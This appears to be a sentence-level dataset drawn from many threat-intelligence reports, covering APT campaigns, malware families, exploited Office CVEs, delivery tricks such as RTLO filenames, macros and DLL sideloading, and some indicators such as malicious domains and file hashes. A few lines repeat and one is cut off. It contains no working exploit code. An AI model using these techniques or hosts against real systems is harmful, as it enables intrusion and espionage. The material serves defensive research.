The HTA files contained job descriptions and links to job postings on popular employment websites .
These emails included recruitment-themed lures and links to malicious HTML Application ( HTA ) files .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
Symantec detects this threat as Backdoor.Nidiran .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using http://voguextra.com/decoy.doc .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
The first attack started in early July with a ShimRatReporter payload .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the Trojan known as NetTraveler using a DLL side-loading attack technique .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
For example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2. This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP PROT 443 .
Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name is Interenet Assistant.exe” .
In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
wuaupdt.exe is a CMD backdoor , which can receive and execute CMD commands sent from C2 .
Furthermore , it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
The techniques and modules employed by EvilGnome — that is the use of SFX , persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
We can observe that the sample is very recent , created on Thursday , July 4As can be observed in the illustration above , the makeself script is instructed to run ./setup.sh after unpacking .
The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
In a more recent version of the modified Gh0st RAT malware , Ghost Dragon implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
One hour later , Bemstour was used against an educational institution in Belgium .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 , when it was used in an attack against an educational institution in Hong Kong .
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
Between June and September 2017 , Bemstour was also used against targets in the Philippines and Vietnam .
Development of Bemstour has continued into 2019 .
Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan ( Backdoor.Filensfer ) .
The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
While Symantec has never observed the use of Filensfer alongside any known Buckeye tools , information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
Buckeye's exploit tool , EternalRomance , as well as EternalSynergy , can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers .
this RTF exploits again the CVE-2017-1882 on eqnedt32.exe .
And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
Today , this malware is still actively being used against the Philippines .
Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/Exfiltration tools supporting all major operating systems like Windows ( Bartender ) , MacOS ( JukeBox ) and Linux ( DanceFloor ) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
 Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report , however , the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft ’s Equation Editor ( EQNEDT32 ) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
The earliest use of the exploit ITW we were able to identify and confirm is a sample (e228045ef57fb8cc1226b62ada7eee9b) dating back to October 2018 (VirusTotal submission of 2018-10-29) with the RTF creation time 2018-10-23 .
Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
However , Beginning on 25 June 2019 , we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit ( CVE-2018-0798 ) .
In addition , a current ANY.RUN playback of our observed Elise infection is also available .
Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
This includes Python scripts .
 Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
However , Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
we identified two methods to deliver the KerrDown downloader to targets .
The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
While investigating KerrDown we found multiple RAR files containing a variant of the malware .
The dropped PE file has the distinctive file name 8.t” .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications , the majority of which are in the system utility category .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
Japan is no stranger to banking malware .
Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
we believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
Madcap” is similar to the XAgent malware , but the former is focused on recording audio .
This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service .
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server .
These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” .
These campaign-related VPSs are located in South Africa .
 The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e. , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e. , possibly en masse .
Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e. , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell ( Virtual Terminal ) function that has a first suggested command of netstat an|find ESTABLISHED .
They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
Based on this , we believe the Rancor attackers were targeting political entities .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Since last week , iSIGHT Partners has worked to provide details on the power outage in Ukraine to our global customers .
The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Based on analysis of the data and malware samples we have collected , Unit 42 believes the attacks described herein are the work of a group or set of cooperating groups who have a single mission , collecting information on minority groups who reside in and around northwestern China .
In the past , Scarlet Mimic has primarily targeted individuals who belong to these minority groups as well as their supporters , but we've recently found evidence to indicate the group also targets individuals working inside government anti-terrorist organizations .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
The first time this happened was at the beginning of the month , when Proofpoint researchers blew the lid off a cyber-espionage campaign named Operation Transparent Tribe , which targeted the Indian embassies in Saudi Arabia and Kazakhstan .
Back in February 2016 , Indian army officials issued a warning against the usage of three apps , WeChat , SmeshApp , and Line , fearing that these apps collected too much information if installed on smartphones used by Indian army personnel .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
Researching this attack and the malware used therein led Microsoft to discover other instances of PLATINUM attacking users in India around August 2015 .
